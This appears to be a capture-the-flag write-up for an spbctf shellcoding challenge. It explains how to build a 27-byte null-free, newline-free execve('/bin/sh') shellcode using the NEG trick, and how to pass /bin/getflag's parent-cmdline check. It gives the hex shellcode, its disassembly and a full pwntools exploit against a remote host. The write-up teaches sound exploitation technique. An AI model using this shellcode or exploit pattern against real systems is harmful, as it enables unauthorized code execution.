pwn4 getflag_no_zeroes
pwn4 getflag_no_zeroes
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: dump_and_disassemble_getflag, execve_bin_sh, getflag_via_exec, neg_trick_string, newline_free_shellcode, null_free_shellcode
Summary
Task: x86-64 non-PIE binary reads input with fgets, strcpy's it into an mmap RWX page, then calls it — shellcode must be both NUL-free (strcpy) and newline-free (fgets). Solution: 27-byte null/newline-free execve(/bin/sh) using the NEG trick to build the /bin/sh string, then exec /bin/getflag from the shell — getflag's 17-byte cmdline memcmp passes for free because the launcher is already sh -c '/task 2>&1'.
pwn4 getflag_no_zeroes — pwn_spbctf
Description
Run the shellcode and call /bin/getflag
Author: George Zaytsev (@groke). Tier pwn4 ("shellcoding"). Platform: pwn.spbctf.ru, remote nc 109.233.56.90 11669.
A 64-bit x86-64 ELF reads a line from us, copies it into an executable page, and jumps to it. We must supply shellcode that survives two filters and ultimately read the flag through the /bin/getflag helper.
Analysis
Binary properties: 64-bit x86-64 ELF, non-PIE (base 0x400000), NX, no canary.
main @ 0x4005c0:
mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC=7, MAP_PRIVATE|MAP_ANON=0x22, -1, 0)→ returns an RWX page inrax, saved at[rbp-0x10].fgets(buf=[rbp-0x410], 0x400, stdin)→ reads our input.fgetsstops at a newline0x0aand NUL-terminates.strcpy(page, buf)→ copies the buffer into the RWX page.strcpystops at the first NUL0x00.call page→ executes whatever made it into the page.
The constraint (the whole point of the challenge)
The shellcode that actually runs is everything in buf up to the first 0x00 (strcpy) — and buf itself can only contain bytes up to the first 0x0a (fgets). So the shellcode must be:
- NUL-free (no
0x00) — otherwisestrcpytruncates it. - Newline-free (no
0x0a) — otherwisefgetstruncates it.
The task name no_zeroes is the hint: no zero bytes (and, for free, no newline bytes).
Solution
Step 1 — null/newline-free execve("/bin/sh", 0, 0)
A naive execve shellcode embeds the literal string "/bin/sh\0", which contains a 0x00, and often pushes immediates that contain zero bytes. The standard fix is the NEG trick: instead of placing /bin/sh\0 directly, place its two's-complement negation as an immediate and neg it back on the stack at runtime, so no zero byte appears in the encoded instruction.
27-byte shellcode (hex):
31c0 48bb d19d9691d08c97ff 48f7db 53 54 5f 99 52 57 54 5e b03b 0f05
Disassembly:
asm read-only • copy allowedxor eax, eax ; rax = 0 mov rbx, 0xff978cd091969dd1 ; = -("/bin/sh") encoded, no 0x00 / 0x0a bytes neg rbx ; rbx = "/bin/sh\0" (the NUL appears only at runtime) push rbx push rsp pop rdi ; rdi -> "/bin/sh" cdq ; rdx = 0 push rdx push rdi push rsp pop rsi ; rsi -> argv = ["/bin/sh", NULL] mov al, 0x3b ; __NR_execve syscall
Verify it really is clean:
python read-only • copy allowedsc = bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05") assert len(sc) == 27 assert b"\x00" not in sc and b"\x0a" not in sc
Sending sc over the socket (and keeping stdin open) drops us into a shell. On the container this shell runs as uid=6(man).
Step 2 — read the flag via /bin/getflag (the part the sibling tasks get wrong)
/bin/getflag is a setuid-ish helper that authenticates its parent rather than its caller. Reversing the actual binary on this container (dump it through the shell, base64 it out, disassemble) shows:
c read-only • copy allowedsnprintf(path, "/proc/%d/cmdline", getppid()); read(path, cmdline, ...); if (memcmp(cmdline, magic, 0x11) == 0) // ONLY 17 bytes print_flag(); else puts("No cheating!");
The magic here is the 17-byte string:
sh\0-c\0/task 2>&1\0
This is NOT the long sh\0-c\0x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1 magic used by the sibling rop_shellcode / rop_rop containers — and those ld-2.31.so / libc-2.31.so files don't even exist on this box.
The server launches our binary via sh -c '/task 2>&1'. That launcher's /proc/<pid>/cmdline is exactly sh\0-c\0/task 2>&1\0 — the 17-byte magic. So if getflag's parent is that launcher, the check passes for free.
From our shellcode shell, the parent process is that sh -c '/task 2>&1' launcher. Therefore we simply:
sh read-only • copy allowedexec /bin/getflag
exec replaces the shell in place, so getflag's getppid() resolves to the sh -c '/task 2>&1' launcher, the 17-byte memcmp matches, and the flag prints. No PATH-shim is needed.
The PATH-shim trick (creating
/tmp/x86_64plus--preload /libc-2.31.so) printedNo cheating!/No flaghere, because the real check is only 17 bytes against a different string. Dumping and disassembling the actualgetflag— instead of trusting the magic inherited from a sibling challenge — was the decisive move.
Full exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * # null-free + newline-free execve("/bin/sh", 0, 0), NEG-trick "/bin/sh" sc = bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05") assert len(sc) == 27 assert b"\x00" not in sc and b"\x0a" not in sc io = remote("109.233.56.90", 11669) io.sendline(sc) # fgets reads up to newline; strcpy copies up to NUL io.sendline(b"exec /bin/getflag") # parent cmdline already == 17-byte magic io.interactive() # -> spbctf{REDACTED}